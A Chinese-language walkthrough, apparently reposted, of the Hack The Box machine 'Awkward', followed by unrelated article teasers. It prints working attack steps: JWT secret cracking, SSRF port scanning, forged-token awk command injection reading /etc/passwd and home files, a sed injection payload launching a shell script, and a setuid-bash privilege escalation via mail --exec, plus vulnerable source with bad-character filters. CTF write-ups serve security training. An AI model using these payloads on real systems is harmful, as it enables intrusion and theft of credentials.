Hacking The Box----Awkward

news2024/11/25 4:21:32

信息收集

nmap扫描,发现22号端口和80号端口打开,80号端口上运行着http服务器。访问ip后URL变为hat-valley.htb
在这里插入图片描述
修改/etc/hosts文件,添加10.10.11.185 hat-valley.htb,然后就能正常访问网站。可以看到是一家卖帽子的公司的网站,页面上有提示说即将开网店
在这里插入图片描述
接着用dirsearch扫描一下目录,发现js目录中可能有源码
在这里插入图片描述
进一步扫描js目录,发现app.js和custom.js
在这里插入图片描述
访问hat-valley.htb/js/app.js,发现目录/hr
在这里插入图片描述
除此之外发现一些api路由,包括/api/all-leave, /api/submit-leave, /api/login, /api/staff-details, and /api/store-status.
接着用wfuzz扫描一下子域名,发现store.hat-valley.htb,添加到/etc/hosts
在这里插入图片描述
访问store.hat-valley.htb,发现需要凭证
在这里插入图片描述

直接访问/hr/目录,发现有cookie: token=guest,修改guest为admin,成功登录dashboard
在这里插入图片描述

但是staff-details是空的,而且Online Store Status的状态是Down,查看一下网络请求,发现staff-details和store-status
在这里插入图片描述

访问api/staff-details,报错jwt-malformed
在这里插入图片描述

删除Cookie: token=guest后再次访问得到所有的员工信息:
在这里插入图片描述

爆破hash

用Crack station破解hash,成功爆破出其中一个hash值
在这里插入图片描述

登录

利用爆破得到密码chris123和搜集信息得到的用户名christopher.jones登录/hr
在这里插入图片描述

得到jwt token,尝试爆破用于JWT生成的secret
在这里插入图片描述

爆破JWT Secret

先用官方脚本将jwt转成john所能利用的格式

$ python3 jwt2john.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjcxNTEzNjIyfQ.fdE8gDRe7UL30RNpzKWIBtsY_NUHUMdVTdzBkus1Jvo > jwt_hash.john
$ john -w=/usr/share/wordlists/rockyou.txt jwt_hash.john

转化脚本jwt2john.py如下:

#!/usr/bin/env python3
import sys

from binascii import hexlify
import base64

def base64url_decode(base64_str):
    size = len(base64_str) % 4
    if size == 2:
        base64_str += b'=='
    elif size == 3:
        base64_str += b'='
    elif size != 0:
        raise ValueError('Invalid base64 string')
    return base64.urlsafe_b64decode(base64_str)

def jwt2john(jwt):
    """
    Convert signature from base64 to hex, and separate it from the data by a #
    so that John can parse it.
    """
    jwt_bytes = jwt.encode('ascii')
    parts = jwt_bytes.split(b'.')

    data = parts[0] + b'.' + parts[1]
    signature = hexlify(base64url_decode(parts[2]))

    return (data + b'#' + signature).decode('ascii')


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: %s JWT" % sys.argv[0])
    else:
        john = jwt2john(sys.argv[1])
        print(john)

爆破得到jwt的密钥:123beany123

服务端请求伪造(SSRF)

登录发现的利用点还有一个:store-status,注意到其参数为url
在这里插入图片描述

尝试使用url="http://127.0.0.1:80"作为/api/store-status的参数,发现重定向到hat-valley.htb,因此可以确信是一个SSRF利用点

在这里插入图片描述

利用这个洞遍历一下端口,发现开了三个端口80、3002、8080
在这里插入图片描述

依次访问3002和8080,发现3002端口提供了API接口文档以及对应的源码
在这里插入图片描述

本地文件包含(LFI)

审计相关API的源码,发现一个本地文件包含漏洞:

app.get('/api/all-leave', (req, res) => {
  const user_token = req.cookies.token
  var authFailed = false
  var user = null
  if(user_token) {
    const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
    if(!decodedToken.username) {
      authFailed = true
    }
    else {
      user = decodedToken.username
    }
  }
  if(authFailed) {
    return res.status(401).json({Error: "Invalid Token"})
  }
  if(!user) {
    return res.status(500).send("Invalid user")
  }
  const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"]

  const badInUser = bad.some(char => user.includes(char));

  if(badInUser) {
    return res.status(500).send("Bad character detected.")
  }

  exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}, (error, stdout, stderr) => {
    if(stdout) {
      return res.status(200).send(new Buffer(stdout, 'binary'));
    }
    if (error) {
      return res.status(500).send("Failed to retrieve leave requests")
    }
    if (stderr) {
      return res.status(500).send("Failed to retrieve leave requests")
    }
  })
})

awk后拼接变量user,user变量来自jwt token中的username,而我们已经得到了jwt生成token所使用的secret,因此我们可以伪造任何一个user的值

user = decodedToken.username
exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}

假如传进去的token在解码后赋予user变量的值为/’ /etc/passwd ',那么这个命令会被拼接成:

exec("awk '//' /etc/passwd '/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000} <----- this is how query looks like when executing

在本地执行这个命令,发现输出了/etc/passwd的内容
在这里插入图片描述

使用https://jwt.io/来进行jwt token的伪造,填入爆破得到的secret,修改username为/’ /etc/passwd ',得到生成的token:
在这里插入图片描述

使用得到的token访问http://hat-valley.htb/api/all-leave

curl http://hat-valley.htb/api/all-leave --header "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ldGMvcGFzc3dkICciLCJpYXQiOjE2NjcwMTcxNTd9.HKWzL6o9CamyDt0S-bxQyrKYEqQha_tDr1SfgSLcX7s" | grep -i /bin/bash

得到两个用户bean和christine
在这里插入图片描述

因为网站首页看到bean是管理员用户,因此查看bean的bashrc文件

curl http://hat-valley.htb/api/all-leave --header "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vLmJhc2hyYyAnIiwiaWF0IjoxNjY3MDE3MTU3fQ._Rmh6a1R5H3g8JBg0hZg19LibMyWC93ArEm6wsepCsY"

在这里插入图片描述

注意到其中的backup_home.sh,尝试获取这个文件内容,发现文件/home/bean/Documents/backup/bean_backup_final.tar.gz
在这里插入图片描述

保存/home/bean/Documents/backup/bean_backup_final.tar.gz,并且用binwalk提取文件:

binwalk -eM bean_backup_final

得到用户bean的home目录
在这里插入图片描述

在文件.config/xpad/content-DS1ZS1找到用户bean的password:014mrbeanrules!#P
在这里插入图片描述

ssh登录bean,得到user.txt中的flag:
在这里插入图片描述

提权

之前扫描到的子域名store.hat-valley.htb需要凭证登录,观察到网站使用了nginx,现在通过bean用户在目录中找到/etc/nginx/conf.d/.htpasswd,得到用户名为admin,又由于用户中只有bean是admin权限,因此尝试使用bean的密码登录
在这里插入图片描述

成功登录
在这里插入图片描述

找到store源码目录
在这里插入图片描述

查看README.MD:
在这里插入图片描述

RCE

查看cart_actions.php

<?php

$STORE_HOME = "/var/www/store/";

//check for valid hat valley store item
function checkValidItem($filename) {
    if(file_exists($filename)) {
        $first_line = file($filename)[0];
        if(strpos($first_line, "***Hat Valley") !== FALSE) {
            return true;
        }
    }
    return false;
}

//add to cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'add_item' && $_POST['item'] && $_POST['user']) {
    $item_id = $_POST['item'];
    $user_id = $_POST['user'];
    $bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!

    foreach($bad_chars as $bad) {
        if(strpos($item_id, $bad) !== FALSE) {
            echo "Bad character detected!";
            exit;
        }
    }

    foreach($bad_chars as $bad) {
        if(strpos($user_id, $bad) !== FALSE) {
            echo "Bad character detected!";
            exit;
        }
    }

    if(checkValidItem("{$STORE_HOME}product-details/{$item_id}.txt")) {
        if(!file_exists("{$STORE_HOME}cart/{$user_id}")) {
            system("echo '***Hat Valley Cart***' > {$STORE_HOME}cart/{$user_id}");
        }
        system("head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}");
        echo "Item added successfully!";
    }
    else {
        echo "Invalid item";
    }
    exit;
}

//delete from cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'delete_item' && $_POST['item'] && $_POST['user']) {
    $item_id = $_POST['item'];
    $user_id = $_POST['user'];
    $bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!

    foreach($bad_chars as $bad) {
        if(strpos($item_id, $bad) !== FALSE) {
            echo "Bad character detected!";
            exit;
        }
    }

    foreach($bad_chars as $bad) {
        if(strpos($user_id, $bad) !== FALSE) {
            echo "Bad character detected!";
            exit;
        }
    }
    if(checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
        system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");
        echo "Item removed from cart";
    }
    else {
        echo "Invalid item";
    }
    exit;
}

//fetch from cart
if ($_SERVER['REQUEST_METHOD'] === 'GET' && $_GET['action'] === 'fetch_items' && $_GET['user']) {
    $html = "";
    $dir = scandir("{$STORE_HOME}cart");
    $files = array_slice($dir, 2);

    foreach($files as $file) {
        $user_id = substr($file, -18);
        if($user_id === $_GET['user'] && checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
            $product_file = fopen("{$STORE_HOME}cart/{$file}", "r");
            $details = array();
            while (($line = fgets($product_file)) !== false) {
                if(str_replace(array("\r", "\n"), '', $line) !== "***Hat Valley Cart***") { //don't include first line
                    array_push($details, str_replace(array("\r", "\n"), '', $line));
                }
            }
            foreach($details as $cart_item) {
                 $cart_items = explode("&", $cart_item);
                 for($x = 0; $x < count($cart_items); $x++) {
                      $cart_items[$x] = explode("=", $cart_items[$x]); //key and value as separate values in subarray
                 }
                 $html .= "<tr><td>{$cart_items[1][1]}</td><td>{$cart_items[2][1]}</td><td>{$cart_items[3][1]}</td><td><button data-id={$cart_items[0][1]} οnclick=\"removeFromCart(this, localStorage.getItem('user'))\" class='remove-item'>Remove</button></td></tr>";
            }
        }
    }
    echo $html;
    exit;
}
?>

审计源码发现sed命令用来删除cart文件数据,这个命令可用于RCE。为了能够删除cart里面的数据,先添加一个商品到购物车:
在这里插入图片描述

查看文件夹/var/www/store/cart发现多了一个文件
在这里插入图片描述

尝试编辑文件发现不行,删除文件并创建同名的,修改内容:
在这里插入图片描述

在tmp目录下创建shell.sh,同时赋予执行权限
接着在购物车中删除商品,用burp拦截报文,修改item为1’±e+“1e+/tmp/shell.sh”+/tmp/shell.sh+’
在这里插入图片描述

成功连接shell,权限为www-data
在这里插入图片描述

用pspy查看进程,发现inotifywait在监控leave_requests.csv,随便往leave_requests.csv中写入数据,发现2022/10/29 17:38:06 CMD: UID=0 PID=4698 | mail -s Leave Request: dedsec christine,因此可以借助mali程序来提权,创建一个setuid脚本

#!/bin/bash
chmod +s /bin/bash

然后往leave_requests.csv写入’" --exec=“!/tmp/priv.sh”',成功获取root权限

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/519888.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Windows如何安装使用curl命令

一、前言 个人主页: ζ小菜鸡大家好我是ζ小菜鸡&#xff0c;让我们一起学习Windows如何安装使用curl命令。如果文章对你有帮助、欢迎关注、点赞、收藏(一键三连) 二、Curl是什么 curl命令网络应用curl命令是一个利用URL规则在命令行下工作的文件传输工具。 CURL支持的通信协议…

【从零开始学Skynet】高级篇(一):Protobuf数据传输

1、什么是Protobuf Protobuf是谷歌发布的一套协议格式&#xff0c;它规定了一系列的编码和解 码方法&#xff0c;比如对于数字&#xff0c;它要求根据数字的大小选择存储空间&#xff0c;小于等于15的数字只用1个字节来表示&#xff0c;大于15的数用2个字节表示&#xff0c;以此…

PBR核心理论与渲染原理

基于物理的渲染&#xff08;Physically Based Rendering&#xff0c;PBR&#xff09;是指使用基于物理原理和微平面理论建模的着色/光照模型&#xff0c;以及使用从现实中测量的表面参数来准确表示真实世界材质的渲染理念。 以下是对PBR基础理念的概括&#xff1a; 微平面理论…

Datax的使用说明及入门操作案例演示

1.DataX DataX 是阿里云 DataWorks数据集成 的开源版本&#xff0c;在阿里巴巴集团内被广泛使用的离线数据同步工具/平台。DataX 实现了包括 MySQL、Oracle、OceanBase、SqlServer、Postgre、HDFS、Hive、ADS、HBase、TableStore(OTS)、MaxCompute(ODPS)、Hologres、DRDS, dat…

power shell 入门

常用命令 powershell版本 不区分大小写: $psversiontable $psv + tab 自动补齐 // ps version get-command 或者 gcm //获取所有命令 get-help 命令名 // 获取命令帮助信息 路径相关 get-location 或者 gl 或者 pwd // 获取当前路径 pwd: print work directory 的缩写.

Linux命令易混淆(看到新知识点就更新)

DNS相关 在Linux操作系统中&#xff0c;TCP/IP网络是通过若干个文本文件进行配置的。系统在启动时通过读取一组有关网络配置的文件和脚本参数内容&#xff0c;来实现网络接口的初始化和控制过程&#xff0c;这些文件和脚本大多数位于/etc目录下。 Linux下配置dns的三种方法 1…

深入了解梯度消失与梯度爆炸

本文探讨深度学习中经常会提到的概念–梯度消失与梯度爆炸。他们是影响模型收敛&#xff0c;学习好坏的一个重要因素&#xff0c;对此现象也提出了对应的解决方案。在此记录其概念&#xff0c;原因和相关的解决方案&#xff0c;仅供参考。 目录 概念原因解决方案1. 参数初始化2…

Vim学习笔记【Ch00,Ch01】

Vim学习笔记 GitHub的Learn-Vim仓库学习笔记Ch00 前言Ch01 Starting VimVim的官方链接Windows10下载和安装VimVim初级使用打开Vim退出Vim保存文件打开文件帮助文档helpargument参数打开多个窗口暂停 GitHub的Learn-Vim仓库学习笔记 仓库地址&#xff1a;https://github.com/ig…

Qt--数据库--增删改查操作

目录 1. Qt数据库简介 2. 连接与关闭 3. 建表 dialog.h dialog.cpp dialog.ui 4. 增删改 1.添加数据 dialog.h dialog.cpp 2.删除数据 dialog.h dialog.cpp 3.修改数据 dialog.h dialog.cpp 5. 查询 dialog.h dialog.cpp 判断数据是否存在 dialog.h dialog.cpp 1. Qt数据库简介…

如何在IVD行业运用IPD?

IVD&#xff08;体外诊断&#xff0c;In Vitro Diagnostic&#xff09;是指对人体样本&#xff08;血液、体液、组织&#xff09;进行定性或定量的检测&#xff0c;进而判断疾病或机体功能的诊断方法。IVD目前已经成为疾病预防、诊断治疗必不可少的医学手段&#xff0c;约80%左…

ChatGPT国内使用办法,无需魔法上网,免费使用ChatGPT,长期更新!!

新建了一个网站 每天给大家更新可用的免翻国内可用chatGPT https://ai.weoknow.com/ 2023.5.7新增一个 软件名称ChatGPT✦ ▌ 软件摘要 软件名称&#xff1a;ChatGPT 适用设备&#xff1a;浏览器 文件大小&#xff1a;0MB ▌ 软件简介 ChatGPT非常强大&#xff0c;但国内合…

12-CSS-语法和选择器

一、语法格式&#xff1a; 选择器指向需要设置样式的 HTML 元素。声明块包含一条或多条用分号分隔的声明。每条声明都包含一个 CSS 属性名称和一个值&#xff0c;以冒号分隔。多条 CSS 声明用分号分隔&#xff0c;声明块用花括号括起来。 二、选择器&#xff1a; CSS 选择器…

第一章 计算机系统概述

1.1 计算机发展历程 1.1.1 计算机硬件的发展 计算机系统硬件软件 计算机硬件的发展&#xff1a; 第一代计算机&#xff1a;(使用电子管)&#xff0c;第二代计算机&#xff1a;(使用晶体管)&#xff0c;第三代计算机&#xff1a;(使用较小规模的集成)&#xff0c;第四代计算…

Strategy 模式

文章目录 &#x1f4a1;问题引入&#x1f4a1;概念&#x1f4a1;例子&#x1f4a1;总结 &#x1f4a1;问题引入 软件为什么总是隔一段时间就要更新迭代&#xff1f;当然是因为不同的需求而发生了改变。 在软件构建过程中&#xff0c;某些对象使用的算法可能多种多样&#xff…

MySQL——通过C语言连接

文章目录 1、前置安装2、正式连接增加删除修改select 1、前置安装 前提&#xff1a; 如果你的mysql是通过yum安装的&#xff0c;那么那些库文件依赖&#xff0c;都是有的&#xff0c;不用你安装了。 但是如果是用 rpm包安装的&#xff0c;就需要去官网下载对应的包。 这些是…

操作系统与进程调度

文章目录 一、计算机操作系统1.操作系统&#xff08;Operating System&#xff09;2.计算机系统示意图 二、进程1.进程/任务&#xff08;Process/Task&#xff09;2.进程控制块抽象(PCB Process Control Block)3.进程调度(Process Scheduling&#xff09;4.内存管理&#xff08…

知识点回顾(一)

1.final,finally ,finalize final?修饰符&#xff08;关键字&#xff09;如果一个类被声明为final&#xff0c;意味着它不能再派生出新的子类&#xff0c;不能作为父类被继承。因此一个类不能既被声明为 abstract的&#xff0c;又被声明为final的。将变量或方法声明为final&…

ChatGPT潜能无限:多个震撼应用场景一一揭晓

ChatGPT 具有对个人、公司和各个行业非常有用的各种应用程序。在本文中&#xff0c;我们继续解释ChatGPT 应用&#xff08;基础应用场景&#xff0c;请点击这里查看&#xff09;。 看完此篇文章中&#xff0c;你会非常惊讶于起潜能无限的应用场景及其强大的功能&#xff0c;那…

Nginx之rewrite实现URL重写

1.开篇 rewrite是nginx服务器提供的一个重要功能&#xff0c;用于实现URL的重写。例如我们访问https://aa.qq.com&#xff0c;打开的是https://age.qq.com/&#xff0c;这就是使用URL重写的特性来实现的。 ngx_http_rewrite_module为实现URL重写提供了指令支持。 官方文档地…

ChatGPT教程(终极版)

新建了一个网站 https://ai.weoknow.com/ 每天给大家更新可用的国内可用chatGPT 这是一篇姗姗来迟的ChatGPT教程。 小白对ChatGPT的介绍足以让你阅读我的文章。 如果你已经使用过ChatGPT&#xff0c;那么祝贺你发现了宝藏。未来的先进技术一定会帮助你有所收获。 前提是你可…